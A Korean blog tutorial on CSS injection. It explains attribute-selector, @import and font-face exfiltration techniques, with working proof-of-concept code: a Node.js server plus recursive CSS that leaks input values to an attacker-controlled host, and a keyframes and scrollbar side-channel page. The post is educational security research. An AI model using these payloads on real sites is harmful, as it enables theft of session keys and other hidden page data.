CSS Injection

Hunjison·2021년 7월 25일
2

Web Pentesting

목록 보기
4/9

1. CSS Injection?

CSS Injection이란 HTML에서 문서의 꾸미기를 담당하는 CSS 부분에 내가 원하는 코드를 삽입하는 기술이다.

CSS Injection이 그나마 잘 알려지지 않은 기술이고, 기법 측면에서 흥미로운 것들이 좀 있어서 정리를 해보려 한다.

2. Attack Surface

공격 방법은 XSS 공격과 유사하다. (일반적으로) POST 방식으로 CSS 요소를 포함한 인자를 전달한다면, 이를 조작하는 것이다.

게시판 기능 중에서 꾸미기 요소를 유저 마음대로 설정할 수 있는 기능이 있을 때가 있다. 이런 역할을 하는 페이지의 동작을 잘 살펴보면 공격 가능한 경우가 많다. 또한 일반 XSS가 가능한 포인트 중에서도 <style> 태그를 필터링하지 않는 경우에도 사용 가능하다.

일반적으로 CSS Injection은 "위험하지 않다" 라고 생각하는 경우가 많아서, 필터링이 없는 경우가 많다. 실제로도 CSS Injection이 가능하다고 해서 내가 원하는 value를 끌어내기는 쉽지 않기 때문에 "각"을 잘 보는 것이 중요하다. 아래 글을 읽어보면서 어떤 경우에는 가능하고 어떤 경우에는 가능하지 않은지 등을 알고 있으면 좋을 것이다.

3. Basic Attack

출처 : https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

일반적으로 많이 알려지고, 난이도가 비교적 쉬운 공격들이다. 이 공격들을 응용해서 뒤에서 소개할 공격들을 수행할 수 있다.

1) CSS Selector

기본 문법은 아래와 같다.

a[href^="https"]{ something; }
/* <a> 태그의 href 속성이 https 로 시작할 때에만 {something} 적용 */
a[href$=".pdf"]{ something; };
/* <a> 태그의 href 속성이 .pdf 로 끝날 때에만 {something} 적용 */

일반적인 공격 방식은 아래와 같다.

input[value^="a"] { background: url('http://ourdomain.com/?char1=a'); }
input[value^="b"] { background: url('http://ourdomain.com/?char1=b'); }
...
input[value^="s"] { background: url('http://ourdomain.com/?char1=s'); }
/* char1이 s로 시작할 경우에 공격자의 페이지로 get request 발생 */
...
input[value^="z"] { background: url('http://ourdomain.com/?char1=z'); }

위 코드를 통해 value의 첫 글자를 알아낼 수 있다. attribute 값에 중요한 value가 있는 경우에 사용할 수 있는 기법이다. 예를 들면 form 태그에 hidden 속성의 input 으로 session key 등이 존재하는 경우가 있다.

위와 같은 코드를 아주 많이 삽입할 수 있다면 특정 value를 정확하게 도출해낼 수 있을 것이다. 그러나 그것이 쉽지 않기 때문에 반복이 필요한데, 그 부분에 대해서는 4-1)에서 다시 알아보자.

2) URL 호출

각종 URL을 호출하게 할 수 있는 문법이다. GET 방식으로 CSRF 공격이 가능한 포인트가 존재한다면, 이것만으로도 충분히 공격을 수행할 수 있다.

{background: url([https://attacker.com](https://attacker.com)) }

{border-image: url([https://attacker.com](https://attacker.com) )}

{list-style: url([https://attacker.com](https://attacker.com) )} 등등 ..

@import 를 사용하면 다른 페이지의 CSS를 가져올 수 있다. CSS Injection의 핵심이 어떻게 하면 반복적으로 작업을 수행하게 할 것인가인데, 이 문법 때문에 그것이 가능하다. 특이한 점은 CSS 코드 중에서 가장 앞에 존재해야 한다는 것이다.

@import url("[https://attacker.com](https://attacker.com)")

3) font-family

폰트의 src를 이용한 공격이다.

@font-face{
		font-family: poc;
    src: url(http://attacker.com/?leak=A); 
    unicode-range:U+0041;
}
/* ABCD ... Z */
@font-face{
		font-family: poc;
    src: url(http://attacker.com/?leak=Z); 
    unicode-range:U+005A;
}

#poc0{
    font-family: 'poc';
}

위 코드를 실행하면, #poc0에 존재하는 모든 문자를 읽어낼 수 있다. 3-1)처럼 1글자씩 읽어내는 것도 아니고, 대량의 코드가 필요하지도 않다.

다만, 문자열의 순서를 알아낼 수 없다는 단점이 있다. 이를 극복하기 위한 방법을 4-2)에서 알아보자.

4. Advanced Attack

출처 : https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

1) Recursive @Import를 이용한 공격

출처 : https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

3-1)의 방법에서 수많은 코드를 일일이 입력해야 하는 불편함이 있었다. 특히 알파벳 + 숫자면 36개인데, 문자의 길이이 n일 경우에는 (36**n) 만큼의 코드가 필요하여 (아마도) 그 코드를 모두 삽입하기는 힘들 것이다.

이것을 해결해주는 것이 @import이다. 다른 CSS 코드를 외부 링크에서 가져올 수 있어, CSS selector의 결과에 따라 그에 맞는 CSS 코드를 받아올 수 있다.

  • POC 소스코드

    client side code

    <!doctype html>
    <body>
        <div><article><div><p><div><div><div><div><div>
    
    <input type="text" value="hunjison87654321">
    <style>
    @import url("http://172.20.10.5:5001/start?");
    </style>

    server side code(nodeJS)

    const http = require('http');
    const url = require('url');
    const port = 5001;
    const fs = require('fs');
    const HOSTNAME = "http://172.20.10.5:5001";
    const DEBUG = false;
    
    var prefix = "", postfix = "";
    var pending = [];
    var target = "input"
    var stop = false, ready = 0, n = 0;
    
    const requestHandler = (request, response) => {
        let req = url.parse(request.url, url);
        console.log('req: %s', request.url);
        if (stop) return response.end();
        switch (req.pathname) {
            case "/start":
                prefix = "", postfix = ""; pending = []; ready = 0, n = 0;  
                genResponse(response);
                break;
            case "/leak":
                response.end();
                console.log("pre: ", req.query.pre, prefix);
                console.log("post: ", req.query.post, postfix);
                if (req.query.pre && prefix !== req.query.pre) {
                    prefix = req.query.pre;
                } else if (req.query.post && postfix !== req.query.post) {
                   postfix = req.query.post;
                } else {
                    break;
                }
                if (ready == 2) {
                    genResponse(pending.shift());
                    console.log("pending: ", pending.toString());
                    ready = 0;
                } else {
                    ready++;
                    console.log('leak: waiting others...', ready);
                }
                break;
            case "/next":
                if (ready == 2) {
                    genResponse(response);
                    ready = 0;
                } else {
                    pending.push(response);
                    ready++;
                    console.log('query: waiting others...', ready);
                }
                break;
            case "/end":
                response.end();
                //stop = true;
                console.log('[+] END: %s', req.query.token);
            default:
                response.end();
        }
    }
    
    const genResponse = (response) => {
        console.log('...pre-payoad: ' + prefix);
        console.log('...post-payoad: ' + postfix);
        let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');' +
            [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f', 'g', 'h', 'i', 'j', 'k', 'l', 'n', 'm', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'].map(e => (target + '[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
            'div '.repeat(n) + target + '{background:var(--e'+n+')}' +
            [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f', 'g', 'h', 'i', 'j', 'k', 'l', 'n', 'm', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
            'div '.repeat(n) + target + '{border-image:var(--s'+n+')}' +
            target + '[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
        response.writeHead(200, { 'Content-Type': 'text/css'});
        response.write(css);
        response.end();
        n++;
    }
    
    const server = http.createServer(requestHandler)
    
    server.listen(port, (err) => {
        if (err) {
            return console.log('[-] Error: something bad happened', err);
        }
        console.log('[+] Server is listening on %d', port);
    })
    
    function log() {
        if (DEBUG) console.log.apply(console, arguments);
    }

POC의 동작 원리는 아래와 같다.

  1. /start에 대한 response에는 또 하나의 @import와 여러개의 css selector가 포함되어 있다.
  2. css selector는 앞에서 1글자, 뒤에서 1글자를 leak하여 서버로 전송한다. @import에 대한 서버 response는 2개의 leak이 도착할 때까지 대기한다.
  3. 2개의 leak이 도착하면, 서버는 해당 문자열을 포함한 response를 전송한다. 여기에는 또 하나의 @import와 여러개의 css selector가 포함되어 있다.
  4. 최종적으로 모든 문자열을 수집하면 /end?token=XXX를 보내고 동작이 종료한다.

서버의 response는 아래와 같다.

@import url(http://172.20.10.5:5001/next?0.8251487658292262);

/* post leak */
input[value$="0"] {
  --e0: url(http://172.20.10.5:5001/leak?post=0)
}
/* 0123456789abcde...xyz */
input[value$="z"] {
  --e0: url(http://172.20.10.5:5001/leak?post=z)
}
/* leak request */
input {
  background: var(--e0)
}

/* pre leak */
input[value^="0"] {
  --s0: url(http://172.20.10.5:5001/leak?pre=0)
}
/* 0123456789abcde...xyz */
input[value^="z"] {
  --s0: url(http://172.20.10.5:5001/leak?pre=z)
}
/* leak request */
input {
  border-image: var(--s0)
}

/* final request */
input[value=] {
  list-style: url(http://172.20.10.5:5001/end?token=&)
}

CSS Selector를 통해 앞에서 1글자, 뒤에서 1글자를 추출하여 /leak?pre=s와 같이 request를 보낸다. 서버에서는 이를 인식하여 저장하고 /next?에 대한 response로 그에 맞는 css selector를 보낸다.

위 코드에서 pre value가 's' 였다면, 다음 css selector는 input[value$="s0"] ... input[value$="sz"]이 될 것이다. 이렇게 모든 input value를 인식하였다면, 코드 마지막에서 /end를 통해 최종 결과가 전송되게 된다.

주의할 점은 다음과 같다. (중요)

  1. 서버를 https로 구축해야 한다.

    blocked : Mixed Contents 이슈 때문인데, 한 페이지에 https 컨텐츠와 http 콘텐츠가 동시에 존재하면 안된다고 한다.

  2. <style>이 내가 원하는 value보다 아래쪽에 존재해야 한다.

    브라우저가 페이지를 렌더링할 때의 원리?순서? 때문이다. (참고)

    HTML 파싱하는 도중에 css를 만나면, html 파싱을 멈추고 css 파싱을 시작한다. 현재까지 읽은 정보에 css를 적용하여 화면에 보여주게 된다.

    우리의 공격에서 공격 대상 value보다 style 태그가 먼저 나오게 되면, '현재까지 읽은 정보'에 우리가 원하는 value가 포함되지 않아, 공격 대상 value에 css selector가 동작하지 않고 따라서 우리가 원하는 공격을 수행할 수 없게 된다.

    따라서 공격을 수행할 때에 내 Injection point의 위치가 어디인지를 보는 것이 중요하다.

2) @keyframes를 이용한 공격

출처 : https://demo.vwzq.net/css2.html

이 공격에서의 핵심은 <div>width 속성을 변경해가며 문자열의 배열을 바꾸는 것이다. 텍스트의 크기보다 width의 크기가 작다면, 문자열을 첫 번째 줄과 나머지 부분으로 "분할"할 수 있다. width의 크기가 점점 늘어남에 따라, 문자들이 하나씩 첫 번째 줄로 이동할 것이다. 이렇게 분할된 문자열의 첫 번째 줄에 대해서만 css를 적용하고 이 때 get request가 외부 서버로 발생한다.

  • POC 소스 코드

    <html><head>
    <!-- look mom! no external fonts allowed! -->
    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'unsafe-inline'; font-src 'none';">
    </head><body>
    <style>
    /* comic sans is high (lol) and causes a vertical overflow */
    @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
    @font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
    @font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
    @font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
    @font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
    @font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
    @font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
    @font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
    @font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
    @font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
    @font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
    @font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
    @font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
    @font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
    @font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
    @font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
    @font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
    @font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
    @font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
    @font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
    @font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
    @font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
    @font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
    @font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
    @font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
    @font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
    @font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
    @font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
    @font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
    @font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
    @font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
    @font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
    @font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
    @font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
    @font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
    @font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
    @font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
    
    div.leak {
        overflow-y: auto; /* leak channel */
        overflow-x: hidden; /* remove false positives */
        height: 40px; /* comic sans capitals exceed this height */
        font-size: 0px; /* make suffix invisible */
        letter-spacing: 0px; /* separation */
        word-break: break-all; /* small width split words in lines */
        font-family: rest; /* default */
        background: grey; /* default */
        width: 0px; /* initial value */
        animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
        animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
    }
    
    div.leak::first-line{
        font-size: 30px; /* prefix is visible in first line */
        text-transform: uppercase; /* only capital letters leak */
    }
    
    /* iterate over all chars */
    @keyframes trychar {
    0% { font-family: rest; }
    1% { font-family: has_0, rest; --leak: url(?0); }
    2% { font-family: rest; }
    3% { font-family: has_1, rest; --leak: url(?1); }
    4% { font-family: rest; }
    5% { font-family: has_2, rest; --leak: url(?2); }
    6% { font-family: rest; }
    7% { font-family: has_3, rest; --leak: url(?3); }
    8% { font-family: rest; }
    9% { font-family: has_4, rest; --leak: url(?4); }
    10% { font-family: rest; }
    11% { font-family: has_5, rest; --leak: url(?5); }
    12% { font-family: rest; }
    13% { font-family: has_6, rest; --leak: url(?6); }
    14% { font-family: rest; }
    15% { font-family: has_7, rest; --leak: url(?7); }
    16% { font-family: rest; }
    17% { font-family: has_8, rest; --leak: url(?8); }
    18% { font-family: rest; }
    19% { font-family: has_9, rest; --leak: url(?9); }
    20% { font-family: rest; }
    21% { font-family: has_a, rest; --leak: url(?a); }
    22% { font-family: rest; }
    23% { font-family: has_b, rest; --leak: url(?b); }
    24% { font-family: rest; }
    25% { font-family: has_c, rest; --leak: url(?c); }
    26% { font-family: rest; }
    27% { font-family: has_d, rest; --leak: url(?d); }
    28% { font-family: rest; }
    29% { font-family: has_e, rest; --leak: url(?e); }
    30% { font-family: rest; }
    31% { font-family: has_f, rest; --leak: url(?f); }
    32% { font-family: rest; }
    33% { font-family: has_g, rest; --leak: url(?g); }
    34% { font-family: rest; }
    35% { font-family: has_h, rest; --leak: url(?h); }
    36% { font-family: rest; }
    37% { font-family: has_i, rest; --leak: url(?i); }
    38% { font-family: rest; }
    39% { font-family: has_j, rest; --leak: url(?j); }
    40% { font-family: rest; }
    41% { font-family: has_k, rest; --leak: url(?k); }
    42% { font-family: rest; }
    43% { font-family: has_l, rest; --leak: url(?l); }
    44% { font-family: rest; }
    45% { font-family: has_n, rest; --leak: url(?n); }
    46% { font-family: rest; }
    47% { font-family: has_m, rest; --leak: url(?m); }
    48% { font-family: rest; }
    49% { font-family: has_o, rest; --leak: url(?o); }
    50% { font-family: rest; }
    51% { font-family: has_p, rest; --leak: url(?p); }
    52% { font-family: rest; }
    53% { font-family: has_q, rest; --leak: url(?q); }
    54% { font-family: rest; }
    55% { font-family: has_r, rest; --leak: url(?r); }
    56% { font-family: rest; }
    57% { font-family: has_s, rest; --leak: url(?s); }
    58% { font-family: rest; }
    59% { font-family: has_t, rest; --leak: url(?t); }
    60% { font-family: rest; }
    61% { font-family: has_u, rest; --leak: url(?u); }
    62% { font-family: rest; }
    63% { font-family: has_v, rest; --leak: url(?v); }
    64% { font-family: rest; }
    65% { font-family: has_w, rest; --leak: url(?w); }
    66% { font-family: rest; }
    67% { font-family: has_x, rest; --leak: url(?x); }
    68% { font-family: rest; }
    69% { font-family: has_y, rest; --leak: url(?y); }
    70% { font-family: rest; }
    71% { font-family: has_z, rest; --leak: url(?z); }
    }
    
    /* increase width char by char, i.e. add new char to prefix */
    @keyframes loop {
    0% { width: 0px }
    1% { width: 15px }
    2% { width: 30px }
    3% { width: 45px }
    4% { width: 60px }
    5% { width: 75px }
    6% { width: 90px }
    7% { width: 105px }
    8% { width: 120px }
    9% { width: 135px }
    10% { width: 150px }
    11% { width: 165px }
    12% { width: 180px }
    13% { width: 195px }
    14% { width: 210px }
    15% { width: 225px }
    16% { width: 240px }
    17% { width: 255px }
    18% { width: 270px }
    19% { width: 285px }
    20% { width: 300px }
    21% { width: 315px }
    22% { width: 330px }
    23% { width: 345px }
    24% { width: 360px }
    25% { width: 375px }
    26% { width: 390px }
    27% { width: 405px }
    28% { width: 420px }
    29% { width: 435px }
    30% { width: 0px }
    }
    
    div::-webkit-scrollbar {
        background: blue;
    }
    
    /* side-channel */
    div::-webkit-scrollbar:vertical {
        background: blue var(--leak);
    }
    </style>
    <p>single css injection w/o remote fonts to leak charset ft. @kinugawamasato's <a href="https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html">unicode-range</a> technique</p>
    <p>the trick is using detectable layout differences between default fonts. there are probably many similar and more efficient methos.</p>
    <hr>
    <div class="leak">
    hunjison98765433
    </div>
    </body></html>

POC를 이해하기 위해 알아야 할 몇 가지 내용이 있다.

  1. word-break: break-all

    width가 문자열의 크기보다 작더라도, 줄바꿈이 자동으로 이루어지지 않도록 하여야 한다. 이를 위해 필요한 설정이다.

  2. @keyframes

    CSS에서 애니메이션을 적용할 때에 애니메이션 중간중간의 특정 지점에서의 동작을 설정하는 문법이다. 0%부터 100%까지 애니메이션의 흐름에 따라 동작을 설정할 수 있다. 아래와 같은 구문은 애니메이션의 흐름에 따라 width를 변경한다.

    @keyframes loop {
    0% { width: 0px }
    1% { width: 15px }
    2% { width: 30px }
    3% { width: 45px }
    4% { width: 60px }
    5% { width: 75px }
    6% { width: 90px }
    /* going on and on ... */
    }
  3. Comic Sans MS 폰트

    모든 브라우저에 내장된 기본 폰트인데, 이를 이용한 이유는 높이가 높아서이다. div.leak 설정에 보면, 높이를 40px로 주고 있는데 해당 폰트는 이를 초과한다고 한다.

    높이가 높은 폰트를 써야하는 이유는, 우리의 leak channel이 vertical scrollbar이기 때문이다. firstline이 화면에 출력되면서 정해진 높이를 초과하기 때문에 vertical scrollbar가 만들어지고, 이 과정에서 get request가 발생한다.

POC의 흐름을 요약하자면 아래와 같다.

  1. 타겟은 div.leak이며, font-size: 0px로 설정되어 있다. 여기에 애니메이션 2개가 지정되어 있는데, trychar애니메이션은 (화면에 표시된) 문자열을 돌면서 leak하는 역할을 하고, loop애니메이션은 width를 점점 늘리는 역할을 한다.
  2. font-size: 0px으로 설정되어 있으나, firstline에 대해서는 font-size: 30px을 지정한다.
  3. trychar 애니메이션이 돌아가는 과정에서 순간적으로 Comic Sans MS 폰트 + 30px가 적용되고, 이 때에만 height를 초과하여 vertical scrollbar가 생성된다.
  4. trychar 애니메이션이 돌아가는 과정에서 --leak 변수가 지정되고, 이 변수에 따라서 vertical scrollbarbackground 값이 지정된다. 여기에서 외부 서버로의 leak request가 발생한다.

주의할 점은 아래와 같다. (중요)

  1. 이론상 모든 태그의 innerText를 읽어낼 수 있다.
    그러나 내가 읽으려고 하는 값에 중복된 문자열이 있다면, 읽을 수 없다. 가령 'aabbcc'와 'abc'에서 우리가 읽을 수 있는 결과는 비슷하다.
  2. 페이지에 원래 존재하던 CSS와의 우선순위에서 밀릴 가능성이 높다. CSS 우선순위. POC는 <div> 에 대해서 애니메이션 및 여러 속성을 적용했는데, 내가 원하는 value가 <div> 하위의 어떤 태그에 존재하는 경우에는 그 태그에 직접 적용되는 CSS 값으로 인해 내가 원하는 동작을 이끌어 내기가 힘들다.
    또한 <div>가 아닌 태그에 애니메이션을 적용하려고 했을 때에 일부 태그의 경우 애니메이션이 동작하지 않기도 한다.
  3. 위의 2번이 생각보다 중요하다. 일반적으로 페이지의 거의 대부분의 태그에는 css가 적용되어 있고, 내가 원하는 value를 가진 태그에 내가 삽입한 css가 최우선으로 적용되게 만드는 일이 쉽지 않다.
    따라서 <script> 태그에 display: block; 속성을 추가하여 읽어내는 편이 그나마 유용하다고 생각한다. 1번의 제약사항 때문에 중복된 문자열을 읽어낼 수 없기 때문에 <script> 최상단에 크리티컬한 value가 있는 경우..? 정도로 이 공격의 유용성이 줄어든다.

3) Others

이외에도 사용자 정의 font를 지정하여 문자열을 leak하는 방법, <meta>나 iframe을 사용하여 refresh하는 방법 등등 여러가지 방법이 있다.

5. 마무리하며..

CSS Injection이 흔히 사용되고, 언급되는 공격 분야는 아니다. 구글에 가볍게 검색을 해보면, 3-1)에서 알아봤던 기본적인 공격 정도가 CTF에서 출제되는 정도이다.

왜 그런지도 알 것 같다. 여러 POC가 존재하지만, 실제로 테스트해본 결과 4-1)과 4-2) 처럼 수많은 제약이 존재한다. 실제 웹 환경에서 이것을 통해 취약점을 trigger하기는 쉬운 일이 아니다..

그러나 생각보다 CSS Injection을 할 수 있는 포인트들은 많다. "별로 위험하지 않다"고 생각하여 필터링 등 방어를 하지 않기 때문이다.

profile
비전공자 출신 화이트햇 해커

0개의 댓글